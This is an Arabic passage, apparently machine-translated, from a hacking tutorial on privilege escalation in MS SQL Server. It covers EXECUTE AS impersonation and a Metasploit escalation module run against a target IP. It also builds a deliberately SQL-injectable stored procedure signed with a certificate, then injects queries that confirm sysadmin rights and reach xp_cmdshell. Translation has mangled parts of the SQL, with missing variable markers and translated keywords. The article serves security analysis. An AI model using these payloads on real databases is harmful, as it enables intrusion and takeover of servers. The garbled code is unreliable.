يمكن لحساب مسؤول النظام الافتراضي تشغيل الاستعلامات مثل أي مستخدم آخر. لعرض جدول مع جميع المستخدمين ، سيساعدك الاستعلام: تحديد * من master.sys.sysusers حيث islogin = 1. لتنفيذ طلب نيابة عن حساب آخر ، استخدم EXECUTE AS LOGIN = "AnyUser". للعودة إلى الحساب السابق مرة أخرى ، يكفي إصدار استعلام REVERT.

هذا هو بيت القصيد. للأتمتة ، كالعادة ، يمكنك استخدام الوحدة النمطية mssql_escalete_executeas_sqli Metasploit:

استخدم auxiliary / admin / mssql / mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp؟id=1+and+1= ؛ - استغلال ... [+] 172.16.2.104:80 - نجاح! المستخدم 1 هو الآن مسؤول نظام!

التصعيد امتياز. الإجراءات المخزنة موقعة بشهادة

لوصف هذا المتجه ، دعنا ننشئ إجراء مخزنًا ضعيفًا وموقعًا بشهادة. بخلاف الأمثلة السابقة ، لا يتطلب تصعيد الامتياز:

  • الملكية TRUSTWORTHY = تشغيل ؛
  • امتيازات غير شخصية و EXECUTE AS وظيفة ؛
  • تكوين إجراء مخزن مع فئة WITH EXECUTE AS لتنفيذه كحساب مختلف.

دعنا ننشئ حسابًا بأدنى حد من الحقوق:

إنشاء تسجيل الدخول باستخدام كلمة المرور = "loki" ؛ GO - تعيين قاعدة بيانات تسجيل الدخول الافتراضية ALTER LOGIN مع default_database = ؛ يذهب

قم بإيقاف تشغيل خاصية TRUSTWORTHY: ALTER DATABASE master SET TRUSTWORTHY OFF. ولنقم بإنشاء إجراء مخزن بسيط sp_xxx ، والذي سيعرض عمود الاسم من قاعدة بيانات tempdb ، وكذلك من قاعدة البيانات التي أدخلها المستخدم:

استخدام الماجستير ؛ الانتقال إلى إجراء إنشاء sp_xxxDbName varchar (max) AS BEGIN قم بتعريفquery كـ varchar (max) SETquery = "SELECT name FROM master..sysdatabases حيث الاسم مثل" "٪" +DbName + "٪" "OR name =" "tempdb" ""؛ تنفيذ (query) END GO

بعد ذلك ، سننشئ مفتاح تشفير لقاعدة بيانات MASTER:

إنشاء MASTER KEY ENCRYPTION BY PASSWORD = "secret" ؛ يذهب

والشهادة:

إنشاء CERTIFICATE sp_xxx_cert WITH SUBJECT = "للتوقيع على sp_xxx" ، EXPIRY_DATE = "2035-01-01" ؛ يذهب

الخطوة التالية هي إنشاء تسجيل دخول من شهادة sp_xxx:

إنشاء تسجيل الدخول sp_xxx_login من CERTIFICATE sp_xxx_cert

ووقع الإجراء بالشهادة التي تم إنشاؤها:

إضافة توقيع إلى sp_xxx بواسطة CERTIFICATE sp_xxx_cert ؛ يذهب

لنقم بتعيين امتيازات مسؤول النظام لتسجيل الدخول إلى sp_lvlup2:

EXEC master..sp_addsrvrolememberloginame = N "sp_xxx_login"،rolename = N "sysadmin" GO

نمنح امتيازات لأعضاء المجموعة العامة لتنفيذ الإجراء:

منح التنفيذ في sp_xxx للجمهور

نتيجة لذلك ، أنشأنا مستخدمًا لديه الحد الأدنى من الحقوق ، وهو إجراء sp_xxx المخزن الذي يعرض اسم قاعدة البيانات التي تم إدخالها ، وأنشأ شهادة sp_xxx_cert ووقع الإجراء المخزن معها ، كما أنشأنا تسجيل الدخول sp_xxx_login من الشهادة ومنحه مسؤول النظام الامتيازات. هذا يكمل الجزء التحضيري. نقوم بتسجيل الدخول باستخدام حساب tor واستدعاء الإجراء المخزن:

EXEC MASTER.dbo.sp_xxx "رئيسي"

كما هو متوقع ، سيعود اسم قاعدة البيانات التي حددناها - master و tempdb (انظر الشكل 3).

أرز. 3. نتيجة الاستعلام EXEC MASTER.dbo.sp_xxx "master"

استعلام مثل EXEC MASTER.dbo.sp_sqli2 "master" "-" سيعيد كلمة رئيسية فقط (انظر الشكل 4).

الشكل 4. نتيجة استعلام EXEC MASTER.dbo.xxx "رئيسي" "-"

عظيم. هذا يعني أن الإجراء المخزن عرضة لإدخال SQL. دعنا نتحقق من امتيازاتنا مع الاستعلام التالي:

EXEC MASTER.dbo.sp_xxx "master" "؛ حدد is_srvrolemember (" "مسؤول النظام" ") كـ priv_certsp--" ؛

priv_cersp = 1 (انظر الشكل 5) يعني أن لدينا امتيازات مسؤول النظام. قم بتشغيل الأمر EXEC master..xp_cmdshell "whoami" ؛ لن يعمل ، لأن حساب tor لديه حقوق قليلة ، ولكن إذا تم إدخال هذا الاستعلام في حقن SQL ، فسيعمل كل شيء (الشكل 6).

الشيء الأكثر إثارة للاهتمام هو أن هذه الحيلة ستعمل في الإصدارات 2005-2014.

خاتمة

الفرق في كل هذه النواقل كبير جدا. في بعض الحالات ، لتحقيق الهدف ، يمكنك تقييد نفسك بخاصية TRUSTWORTHY المضمنة ، والتي تسمح للكائنات خارج قاعدة البيانات باستخدام موارد قاعدة البيانات هذه لإنشاء وتنفيذ إجراء مخزن يرفع الامتيازات. من الممكن في مكان ما تنفيذ الإجراءات المخزنة نيابة عن الحسابات الأخرى نظرًا لوجود امتيازات IMPERSONATE ووظيفة EXECUTE AS ، وفي الحالات الثالثة ، من المهم فقط أن يكون لديك حقنة SQL يمكن من خلالها إدخال استعلام ، سيتم تنفيذه نيابة عن حساب آخر. لفهم الفروق الدقيقة والتفاصيل الدقيقة ، أنصحك بالتحقق من هذه المتجهات على جهازك المحلي.

لا تقدم المقالة عرضًا شاملاً لجميع نواقل الهجوم على MS SQL DBMS ، ولكنها ستكون مفيدة جدًا لتحليل الأمان السطحي. أوصي أيضًا بأن تتعرف على متجه قرصنة آخر من خلال روابط DB ، والتي وصفها Alexey Tyurin في عدد ديسمبر من] [(# 191) في قسم Easy Hack. هذا كل شيء ، شكرًا لك على اهتمامك ورؤيتك مرة أخرى.



تحميل...
قمة